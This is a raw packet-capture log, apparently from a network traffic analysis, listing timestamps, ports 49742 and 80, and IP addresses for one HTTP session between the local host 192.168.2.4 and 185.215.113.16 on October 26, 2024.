Oct 26, 2024 05:54:39.703783989 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.742391109 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.742405891 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.742422104 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.742435932 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.742449999 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.742458105 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.742471933 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.742484093 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.742486000 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.742499113 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.742501974 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.742512941 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.742527962 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.742532969 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.742564917 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.742607117 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.742639065 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.742654085 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.742676973 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.742700100 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.742737055 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.742960930 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.742997885 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.743010998 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.743038893 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.743135929 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.743179083 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.743202925 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.743216991 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.743253946 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.786818027 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.786849022 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.786881924 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.786912918 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.786928892 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.786966085 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.822704077 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.822732925 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.822746038 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.822760105 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.822784901 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.822802067 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.864883900 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.864918947 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.864950895 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.864976883 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.903373957 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.903405905 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.903419018 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.903441906 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.903481007 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.903529882 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.903532028 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.903695107 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.903728962 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.903752089 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.903769016 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.903779030 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.903808117 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.903847933 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.903851032 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.903882027 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.903911114 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.903944969 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.903964043 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.903978109 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.903991938 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.904010057 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.904071093 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.904301882 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.904352903 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.904383898 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.904396057 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.904416084 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.904449940 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.904457092 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.904479027 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.904520035 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.948050022 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.948081017 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.948116064 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.948146105 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.948160887 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.948189974 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.984215975 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.984249115 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.984281063 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.984296083 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:40.026130915 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.026146889 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.026161909 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.026199102 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:40.026221991 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:40.064794064 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.064831018 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.064862967 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.064893961 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.064912081 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:40.064927101 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.064935923 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:40.065018892 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.065053940 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.065088034 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.065104961 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:40.065184116 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.065212965 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.065231085 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:40.065253019 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:40.065263987 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.065295935 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.065325975 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.065335035 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:40.065506935 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.065555096 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:40.065560102 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.066123009 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.066150904 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.066175938 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:40.066184998 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.066220999 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.066231012 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:40.066253901 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.066293001 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.066303015 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:40.109761953 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.109797001 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.109823942 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:40.109827995 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.109869003 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:40.145407915 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.145468950 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.145500898 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.145550966 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:40.187730074 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.187824011 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.187858105 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.187875032 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:40.187912941 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:40.225981951 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.226017952 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.226033926 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.226049900 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.226066113 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:40.226102114 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:40.226300955 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.226314068 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.226327896 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.226341963 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.226355076 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.226366043 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:40.226370096 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.226412058 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:40.226412058 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:40.226453066 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.226486921 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.226526976 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:40.226583958 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.226608038 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.226620913 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.226650953 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:40.227207899 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.227231026 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.227269888 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:40.227277040 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.227298021 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.227322102 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:40.227401018 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.227440119 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.227479935 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:40.227549076 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.228204966 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:40.270963907 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.270994902 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.271028042 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.271076918 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:40.271128893 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.271351099 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:40.307344913 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.307379007 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.307413101 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.307460070 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:40.348645926 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.348675966 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.348701954 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:40.348764896 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.348793030 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.348839998 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:40.387275934 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.387372017 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:40.387382984 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.387419939 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.387454033 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.387481928 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.387497902 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:40.387516022 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.387522936 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:40.387584925 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.387622118 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.387631893 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:40.387650013 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.387692928 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:40.387701035 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.387736082 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.387763977 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.387798071 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.387808084 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:40.387830973 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.387862921 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.387871981 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:40.387896061 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.387934923 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:40.388576031 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.388626099 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.388662100 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.388681889 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:40.388694048 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.388699055 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:40.388727903 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.388755083 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.388797998 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:40.432073116 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.432105064 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.432120085 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.432133913 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.432168007 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:40.432189941 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:40.467869997 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.467884064 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.467899084 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.467914104 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.467937946 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:40.467957020 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:40.510260105 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.510338068 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.510385990 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.510442019 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:40.548587084 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.548619032 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.548641920 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:40.548669100 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.548703909 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.548716068 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:40.548737049 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.548770905 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.548804998 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.548811913 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:40.548846960 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.548850060 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:40.548892975 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.549005985 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.549052000 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:40.549056053 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.549083948 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.549099922 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:40.549174070 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.549226999 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.549241066 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:40.549272060 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.549323082 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:40.549855947 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.549906969 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.549940109 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.549973965 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.550009966 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.550014019 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:40.550039053 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.550040960 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:40.550834894 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:40.593478918 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.593537092 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.593570948 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.593637943 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:40.629239082 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.629272938 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.629338026 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:40.629381895 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.629395008 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.629518986 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:40.671391964 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.671464920 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.671495914 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.671597958 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:40.709691048 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.709811926 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.709841013 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.709888935 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.709918976 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:40.709918976 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:40.709939957 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.709973097 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.710024118 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:40.710026026 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.710057974 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.710093021 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.710113049 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:40.710206032 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:40.710246086 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.710294008 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.710356951 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.710361004 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:40.710385084 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.710473061 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:40.710609913 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.710638046 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.710702896 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:40.711170912 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.711225033 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.711258888 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.711291075 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.711329937 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:40.711329937 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:40.711345911 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.754494905 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.754527092 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.754601002 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.754632950 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.754666090 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:40.754666090 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:40.790651083 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.790721893 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.790759087 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.790790081 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.790815115 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:40.790815115 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:40.832833052 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.832884073 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.832895994 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.832957029 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:40.871139050 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.871210098 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.871277094 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:40.871309996 CEST	80	49742	185.215.113.16	192.168.2.4
